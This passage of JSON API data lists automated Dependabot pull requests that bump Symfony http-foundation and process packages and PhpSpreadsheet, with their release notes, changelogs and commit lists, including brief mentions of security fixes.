href=\"https://github.com/Jimbolino\"\u003e\u003ccode\u003e@​Jimbolino\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ebug \u003ca href=\"https://redirect.github.com/symfony/http-foundation/issues/63262\"\u003e#63262\u003c/a\u003e  Reject invalid paths (\u003ca href=\"https://github.com/nicolas-grekas\"\u003e\u003ccode\u003e@​nicolas-grekas\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ebug \u003ca href=\"https://redirect.github.com/symfony/http-foundation/issues/54304\"\u003e#54304\u003c/a\u003e  When calling UploadedFile::getErrorMessage() to a file which has no error and is uploaded successfully, it should not return an error (\u003ca href=\"https://github.com/ArmCyber\"\u003e\u003ccode\u003e@​ArmCyber\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ebug \u003ca href=\"https://redirect.github.com/symfony/http-foundation/issues/63230\"\u003e#63230\u003c/a\u003e  fix engine declaration on mysql pdo table creations (\u003ca href=\"https://github.com/tandev\"\u003e\u003ccode\u003e@​tandev\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev7.4.5\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eChangelog\u003c/strong\u003e (\u003ca href=\"https://github.com/symfony/http-foundation/compare/v7.4.4...v7.4.5\"\u003ehttps://github.com/symfony/http-foundation/compare/v7.4.4...v7.4.5\u003c/a\u003e)\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003ebug \u003ca href=\"https://redirect.github.com/symfony/http-foundation/issues/63137\"\u003e#63137\u003c/a\u003e  Fix PdoSessionHandler charset-collation mismatch with the Doctrine DBAL (\u003ca href=\"https://github.com/samy-mahmoudi\"\u003e\u003ccode\u003e@​samy-mahmoudi\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev7.4.4\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eChangelog\u003c/strong\u003e (\u003ca href=\"https://github.com/symfony/http-foundation/compare/v7.4.3...v7.4.4\"\u003ehttps://github.com/symfony/http-foundation/compare/v7.4.3...v7.4.4\u003c/a\u003e)\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003ebug \u003ca href=\"https://redirect.github.com/symfony/http-foundation/issues/63012\"\u003e#63012\u003c/a\u003e  Fix double-prefixing of session keys when using redis/memcached (\u003ca href=\"https://github.com/nicolas-grekas\"\u003e\u003ccode\u003e@​nicolas-grekas\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev7.4.3\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eChangelog\u003c/strong\u003e (\u003ca href=\"https://github.com/symfony/http-foundation/compare/v7.4.2...v7.4.3\"\u003ehttps://github.com/symfony/http-foundation/compare/v7.4.2...v7.4.3\u003c/a\u003e)\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003ebug \u003ca href=\"https://redirect.github.com/symfony/symfony/issues/62799\"\u003esymfony/symfony#62799\u003c/a\u003e [Cache][HttpFoundation] Fix VARBINARY columns on sqlsrv (\u003ca href=\"https://github.com/nicolas-grekas\"\u003e\u003ccode\u003e@​nicolas-grekas\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev7.4.1\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eChangelog\u003c/strong\u003e (\u003ca href=\"https://github.com/symfony/http-foundation/compare/v7.4.0...v7.4.1\"\u003ehttps://github.com/symfony/http-foundation/compare/v7.4.0...v7.4.1\u003c/a\u003e)\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003ebug \u003ca href=\"https://redirect.github.com/symfony/symfony/issues/62663\"\u003esymfony/symfony#62663\u003c/a\u003e [HttpFoundation] Improve logic in Request::createFromGlobals() (\u003ca href=\"https://github.com/nicolas-grekas\"\u003e\u003ccode\u003e@​nicolas-grekas\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev7.4.0\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eChangelog\u003c/strong\u003e (\u003ca href=\"https://github.com/symfony/http-foundation/compare/v7.4.0-RC3...v7.4.0\"\u003ehttps://github.com/symfony/http-foundation/compare/v7.4.0-RC3...v7.4.0\u003c/a\u003e)\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eno significant changes\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev7.4.0-RC1\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eChangelog\u003c/strong\u003e (\u003ca href=\"https://github.com/symfony/http-foundation/compare/v7.4.0-BETA2...v7.4.0-RC1\"\u003ehttps://github.com/symfony/http-foundation/compare/v7.4.0-BETA2...v7.4.0-RC1\u003c/a\u003e)\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003ebug \u003ca href=\"https://redirect.github.com/symfony/symfony/issues/62287\"\u003esymfony/symfony#62287\u003c/a\u003e [HttpFoundation] Fix AcceptHeader overwrites items with different parameters (\u003ca href=\"https://github.com/yoeunes\"\u003e\u003ccode\u003e@​yoeunes\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ebug \u003ca href=\"https://redirect.github.com/symfony/symfony/issues/62324\"\u003esymfony/symfony#62324\u003c/a\u003e [HttpFoundation] Fix parsing hosts and schemes in URLs (\u003ca href=\"https://github.com/nicolas-grekas\"\u003e\u003ccode\u003e@​nicolas-grekas\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/symfony/http-foundation/blob/8.1/CHANGELOG.md\"\u003esymfony/http-foundation's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003eCHANGELOG\u003c/h1\u003e\n\u003ch2\u003e8.1\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAdd \u003ccode\u003eBinaryFileResponse::shouldDeleteFileAfterSend()\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eDeprecate setting public properties of \u003ccode\u003eRequest\u003c/code\u003e and \u003ccode\u003eResponse\u003c/code\u003e objects directly; use setters or constructor arguments instead\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.0\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eDrop HTTP method override support for methods GET, HEAD, CONNECT and TRACE\u003c/li\u003e\n\u003cli\u003eAdd argument \u003ccode\u003e$subtypeFallback\u003c/code\u003e to \u003ccode\u003eRequest::getFormat()\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eRemove the following deprecated session options from \u003ccode\u003eNativeSessionStorage\u003c/code\u003e: \u003ccode\u003ereferer_check\u003c/code\u003e, \u003ccode\u003euse_only_cookies\u003c/code\u003e, \u003ccode\u003euse_trans_sid\u003c/code\u003e, \u003ccode\u003esid_length\u003c/code\u003e, \u003ccode\u003esid_bits_per_character\u003c/code\u003e, \u003ccode\u003etrans_sid_hosts\u003c/code\u003e, \u003ccode\u003etrans_sid_tags\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eTrigger PHP warning when using \u003ccode\u003eRequest::sendHeaders()\u003c/code\u003e after headers have already been sent; use a \u003ccode\u003eStreamedResponse\u003c/code\u003e instead\u003c/li\u003e\n\u003cli\u003eAdd arguments \u003ccode\u003e$v4Bytes\u003c/code\u003e and \u003ccode\u003e$v6Bytes\u003c/code\u003e to \u003ccode\u003eIpUtils::anonymize()\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eAdd argument \u003ccode\u003e$partitioned\u003c/code\u003e to \u003ccode\u003eResponseHeaderBag::clearCookie()\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eAdd argument \u003ccode\u003e$expiration\u003c/code\u003e to \u003ccode\u003eUriSigner::sign()\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eRemove \u003ccode\u003eRequest::get()\u003c/code\u003e, use properties \u003ccode\u003e-\u0026gt;attributes\u003c/code\u003e, \u003ccode\u003equery\u003c/code\u003e or \u003ccode\u003erequest\u003c/code\u003e directly instead\u003c/li\u003e\n\u003cli\u003eRemove accepting null \u003ccode\u003e$format\u003c/code\u003e argument to \u003ccode\u003eRequest::setFormat()\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e7.4\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAdd \u003ccode\u003e#[WithHttpStatus]\u003c/code\u003e to define status codes: 404 for \u003ccode\u003eSignedUriException\u003c/code\u003e and 403 for \u003ccode\u003eExpiredSignedUriException\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eAdd support for the \u003ccode\u003eQUERY\u003c/code\u003e HTTP method\u003c/li\u003e\n\u003cli\u003eAdd support for structured MIME suffix\u003c/li\u003e\n\u003cli\u003eAdd \u003ccode\u003eRequest::set/getAllowedHttpMethodOverride()\u003c/code\u003e to list which HTTP methods can be overridden\u003c/li\u003e\n\u003cli\u003eDeprecate using \u003ccode\u003eRequest::sendHeaders()\u003c/code\u003e after headers have already been sent; use a \u003ccode\u003eStreamedResponse\u003c/code\u003e instead\u003c/li\u003e\n\u003cli\u003eDeprecate method \u003ccode\u003eRequest::get()\u003c/code\u003e, use properties \u003ccode\u003e-\u0026gt;attributes\u003c/code\u003e, \u003ccode\u003equery\u003c/code\u003e or \u003ccode\u003erequest\u003c/code\u003e directly instead\u003c/li\u003e\n\u003cli\u003eMake \u003ccode\u003eRequest::createFromGlobals()\u003c/code\u003e parse the body of PUT, DELETE, PATCH and QUERY requests\u003c/li\u003e\n\u003cli\u003eDeprecate HTTP method override for methods GET, HEAD, CONNECT and TRACE; it will be ignored in Symfony 8.0\u003c/li\u003e\n\u003cli\u003eDeprecate accepting null \u003ccode\u003e$format\u003c/code\u003e argument to \u003ccode\u003eRequest::setFormat()\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e7.3\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAdd support for iterable of string in \u003ccode\u003eStreamedResponse\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eAdd \u003ccode\u003eEventStreamResponse\u003c/code\u003e and \u003ccode\u003eServerEvent\u003c/code\u003e classes to streamline server event streaming\u003c/li\u003e\n\u003cli\u003eAdd support for \u003ccode\u003evalkey:\u003c/code\u003e / \u003ccode\u003evalkeys:\u003c/code\u003e schemes for sessions\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eRequest::getPreferredLanguage()\u003c/code\u003e now favors a more preferred language above exactly matching a locale\u003c/li\u003e\n\u003cli\u003eAllow \u003ccode\u003eUriSigner\u003c/code\u003e to use a \u003ccode\u003eClockInterface\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eAdd \u003ccode\u003eUriSigner::verify()\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e7.2\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAdd optional \u003ccode\u003e$requests\u003c/code\u003e parameter to \u003ccode\u003eRequestStack::__construct()\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eAdd optional \u003ccode\u003e$v4Bytes\u003c/code\u003e and \u003ccode\u003e$v6Bytes\u003c/code\u003e parameters to \u003ccode\u003eIpUtils::anonymize()\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/http-foundation/commit/9381209597ec66c25be154cbf2289076e64d1eab\"\u003e\u003ccode\u003e9381209\u003c/code\u003e\u003c/a\u003e Configure deprecation triggers\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/http-foundation/commit/f94b3e7b7dafd40e666f0c9ff2084133bae41e81\"\u003e\u003ccode\u003ef94b3e7\u003c/code\u003e\u003c/a\u003e Merge branch '6.4' into 7.4\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/http-foundation/commit/cffffd0a2c037117b742b4f8b379a22a2a33f6d2\"\u003e\u003ccode\u003ecffffd0\u003c/code\u003e\u003c/a\u003e [HttpFoundation] Fix session cookie_lifetime not applied in mock session storage\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/http-foundation/commit/fd97d5e926e988a363cef56fbbf88c5c528e9065\"\u003e\u003ccode\u003efd97d5e\u003c/code\u003e\u003c/a\u003e Merge branch '6.4' into 7.4\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/http-foundation/commit/5bb346d1b4b2a616e5c3d99b3ee4d5810735c535\"\u003e\u003ccode\u003e5bb346d\u003c/code\u003e\u003c/a\u003e [HttpFoundation] Handle empty session data in updateTimestamp() to fix compat...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/http-foundation/commit/17de1a39c0ed8dc062df993d65c7269502a2ec78\"\u003e\u003ccode\u003e17de1a3\u003c/code\u003e\u003c/a\u003e Merge branch '6.4' into 7.4\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/http-foundation/commit/31b030e12f6662a7016add28fe29b70327dacf86\"\u003e\u003ccode\u003e31b030e\u003c/code\u003e\u003c/a\u003e stop using with*() without expects()\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/http-foundation/commit/36ba5c7a025c05a92cd4a753abbe1781442c8414\"\u003e\u003ccode\u003e36ba5c7\u003c/code\u003e\u003c/a\u003e Merge branch '6.4' into 7.4\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/http-foundation/commit/31e2a27d480546f031bd4fc6f1ec8a7abdd62bb1\"\u003e\u003ccode\u003e31e2a27\u003c/code\u003e\u003c/a\u003e BinaryFileResponse: always return 206 if Range is valid\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/http-foundation/commit/669ac23030db4cc4314e7a9ada4e258752266ec1\"\u003e\u003ccode\u003e669ac23\u003c/code\u003e\u003c/a\u003e Merge branch '6.4' into 7.4\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/symfony/http-foundation/compare/v7.3.0...v7.4.8\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `symfony/process` from 7.3.0 to 7.4.8\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/symfony/process/releases\"\u003esymfony/process's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev7.4.8\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eChangelog\u003c/strong\u003e (\u003ca href=\"https://github.com/symfony/process/compare/v7.4.7...v7.4.8\"\u003ehttps://github.com/symfony/process/compare/v7.4.7...v7.4.8\u003c/a\u003e)\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003ebug \u003ca href=\"https://redirect.github.com/symfony/process/issues/63611\"\u003e#63611\u003c/a\u003e  Throw InvalidArgumentException when env block exceeds Windows limit (Nadim AL ABDOU)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev7.4.5\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eChangelog\u003c/strong\u003e (\u003ca href=\"https://github.com/symfony/process/compare/v7.4.4...v7.4.5\"\u003ehttps://github.com/symfony/process/compare/v7.4.4...v7.4.5\u003c/a\u003e)\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003esecurity #cve-2026-24739  Fix escaping for MSYS on Windows (nicolas-grekas)\u003c/li\u003e\n\u003cli\u003ebug \u003ca href=\"https://redirect.github.com/symfony/process/issues/63164\"\u003e#63164\u003c/a\u003e  Fix escaping for MSYS on Windows (\u003ca href=\"https://github.com/nicolas-grekas\"\u003e\u003ccode\u003e@​nicolas-grekas\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev7.4.4\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eChangelog\u003c/strong\u003e (\u003ca href=\"https://github.com/symfony/process/compare/v7.4.3...v7.4.4\"\u003ehttps://github.com/symfony/process/compare/v7.4.3...v7.4.4\u003c/a\u003e)\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003ebug \u003ca href=\"https://redirect.github.com/symfony/process/issues/63004\"\u003e#63004\u003c/a\u003e  Ignore invalid env var names (\u003ca href=\"https://github.com/nicolas-grekas\"\u003e\u003ccode\u003e@​nicolas-grekas\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev7.4.3\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eChangelog\u003c/strong\u003e (\u003ca href=\"https://github.com/symfony/process/compare/v7.4.2...v7.4.3\"\u003ehttps://github.com/symfony/process/compare/v7.4.2...v7.4.3\u003c/a\u003e)\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003ebug \u003ca href=\"https://redirect.github.com/symfony/symfony/issues/62775\"\u003esymfony/symfony#62775\u003c/a\u003e [Process] Fix dealing with broken stdin pipes (\u003ca href=\"https://github.com/nicolas-grekas\"\u003e\u003ccode\u003e@​nicolas-grekas\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev7.4.0\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eChangelog\u003c/strong\u003e (\u003ca href=\"https://github.com/symfony/process/compare/v7.4.0-RC3...v7.4.0\"\u003ehttps://github.com/symfony/process/compare/v7.4.0-RC3...v7.4.0\u003c/a\u003e)\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eno significant changes\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev7.4.0-RC1\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eChangelog\u003c/strong\u003e (\u003ca href=\"https://github.com/symfony/process/compare/v7.4.0-BETA2...v7.4.0-RC1\"\u003ehttps://github.com/symfony/process/compare/v7.4.0-BETA2...v7.4.0-RC1\u003c/a\u003e)\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eno significant changes\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev7.4.0-BETA1\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eChangelog\u003c/strong\u003e (\u003ca href=\"https://github.com/symfony/process/compare/v7.3.4...v7.4.0-BETA1\"\u003ehttps://github.com/symfony/process/compare/v7.3.4...v7.4.0-BETA1\u003c/a\u003e)\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eno significant changes\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev7.3.11\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eChangelog\u003c/strong\u003e (\u003ca href=\"https://github.com/symfony/process/compare/v7.3.10...v7.3.11\"\u003ehttps://github.com/symfony/process/compare/v7.3.10...v7.3.11\u003c/a\u003e)\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003esecurity #cve-2026-24739  Fix escaping for MSYS on Windows (nicolas-grekas)\u003c/li\u003e\n\u003cli\u003ebug \u003ca href=\"https://redirect.github.com/symfony/process/issues/63164\"\u003e#63164\u003c/a\u003e  Fix escaping for MSYS on Windows (\u003ca href=\"https://github.com/nicolas-grekas\"\u003e\u003ccode\u003e@​nicolas-grekas\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev7.3.10\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eChangelog\u003c/strong\u003e (\u003ca href=\"https://github.com/symfony/process/compare/v7.3.9...v7.3.10\"\u003ehttps://github.com/symfony/process/compare/v7.3.9...v7.3.10\u003c/a\u003e)\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003ebug \u003ca href=\"https://redirect.github.com/symfony/process/issues/63004\"\u003e#63004\u003c/a\u003e  Ignore invalid env var names (\u003ca href=\"https://github.com/nicolas-grekas\"\u003e\u003ccode\u003e@​nicolas-grekas\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev7.3.9\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eChangelog\u003c/strong\u003e (\u003ca href=\"https://github.com/symfony/process/compare/v7.3.8...v7.3.9\"\u003ehttps://github.com/symfony/process/compare/v7.3.8...v7.3.9\u003c/a\u003e)\u003c/p\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/process/commit/60f19cd3badc8de688421e21e4305eba50f8089a\"\u003e\u003ccode\u003e60f19cd\u003c/code\u003e\u003c/a\u003e Configure deprecation triggers\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/process/commit/95b070ee7180a0d49d48786fccf3b935c01d6f3b\"\u003e\u003ccode\u003e95b070e\u003c/code\u003e\u003c/a\u003e [Process] Throw InvalidArgumentException when env block exceeds Windows limit\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/process/commit/608476f4604102976d687c483ac63a79ba18cc97\"\u003e\u003ccode\u003e608476f\u003c/code\u003e\u003c/a\u003e Merge branch '7.3' into 7.4\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/process/commit/81fe4ea2c3b8677fa2adfd8e48ba42374ede0e3b\"\u003e\u003ccode\u003e81fe4ea\u003c/code\u003e\u003c/a\u003e Merge branch '6.4' into 7.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/process/commit/c46e854e79b52d07666e43924a20cb6dc546644e\"\u003e\u003ccode\u003ec46e854\u003c/code\u003e\u003c/a\u003e [Process] Fix escaping for MSYS on Windows\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/process/commit/626f07a53f4b4e2f00e11824cc29f928d797783b\"\u003e\u003ccode\u003e626f07a\u003c/code\u003e\u003c/a\u003e Merge branch '7.3' into 7.4\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/process/commit/4424bc14e7dedec472440cc991f961f22343caaa\"\u003e\u003ccode\u003e4424bc1\u003c/code\u003e\u003c/a\u003e Merge branch '6.4' into 7.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/process/commit/c593135be689b21e6164b1e8f6f5dbf1506b065c\"\u003e\u003ccode\u003ec593135\u003c/code\u003e\u003c/a\u003e [Process] Adjust Process mustRun method phpdoc\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/process/commit/f532042054c29ec9181b94ec5d5a42736c052eb1\"\u003e\u003ccode\u003ef532042\u003c/code\u003e\u003c/a\u003e Merge branch '7.3' into 7.4\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/process/commit/6d13a9300772cf6f22f490574b80d9bf3481d07a\"\u003e\u003ccode\u003e6d13a93\u003c/code\u003e\u003c/a\u003e Merge branch '6.4' into 7.3\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/symfony/process/compare/v7.3.0...v7.4.8\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore \u003cdependency name\u003e major version` will close this group update PR and stop Dependabot creating any more for the specific dependency's major version (unless you unignore this specific dependency's major version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e minor version` will close this group update PR and stop Dependabot creating any more for the specific dependency's minor version (unless you unignore this specific dependency's minor version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e` will close this group update PR and stop Dependabot creating any more for the specific dependency (unless you unignore this specific dependency or upgrade to it yourself)\n- `@dependabot unignore \u003cdependency name\u003e` will remove all of the ignore conditions of the specified dependency\n- `@dependabot unignore \u003cdependency name\u003e \u003cignore condition\u003e` will remove the ignore condition of the specified dependency and ignore conditions\nYou can disable automated security fix PRs for this repo from the [Security Alerts page](https://github.com/mahmoud2001858833/order/network/alerts).\n\n\u003c/details\u003e","html_url":"https://github.com/mahmoud2001858833/order/pull/27","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/mahmoud2001858833%2Forder/issues/27","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/27/packages"},{"uuid":"4346741679","node_id":"PR_kwDOCzR3bM7WhFEn","number":1218,"state":"open","title":"chore(deps): Bump phpoffice/phpspreadsheet from 2.4.0 to 2.4.5","user":"dependabot[bot]","labels":["dependencies","php"],"assignees":[],"locked":false,"comments_count":2,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-04-28T22:53:12.000Z","updated_at":"2026-04-28T22:57:01.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps): Bump","packages":[{"name":"phpoffice/phpspreadsheet","old_version":"2.4.0","new_version":"2.4.5","repository_url":"https://github.com/PHPOffice/PhpSpreadsheet"}],"path":null,"ecosystem":"packagist"},"body":"Bumps [phpoffice/phpspreadsheet](https://github.com/PHPOffice/PhpSpreadsheet) from 2.4.0 to 2.4.5.\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/releases\"\u003ephpoffice/phpspreadsheet's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e2.4.5\u003c/h2\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSecurity patches.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2.4.4\u003c/h2\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSecurity patches.\u003c/li\u003e\n\u003cli\u003eOption to whitelist external images. Security-related backport of [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4793\"\u003e#4793\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4793\"\u003ePHPOffice/PhpSpreadsheet#4793\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2.4.3\u003c/h2\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eEvaluation of WEBSERVICE no longer requires external client, but will use oldCalculatedValue unless the request is for a domain in a user-supplied whitelist. Security-related backport of [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4751\"\u003e#4751\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4751\"\u003ePHPOffice/PhpSpreadsheet#4751\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDeprecated\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSettings methods setHttpClient, unsetHttpClient, getHttpClient, and getRequestFactory are no longer used. No replacement.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eChanges to WEBSERVICE. Backport of [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4751\"\u003e#4751\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4751\"\u003ePHPOffice/PhpSpreadsheet#4751\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2.4.2\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFormal support for Php8.5. This is the last version of Php which can be used with this branch.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003ePhp8.5 deprecates use of null as array index. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4635\"\u003e#4635\u003c/a\u003e](\u003ca 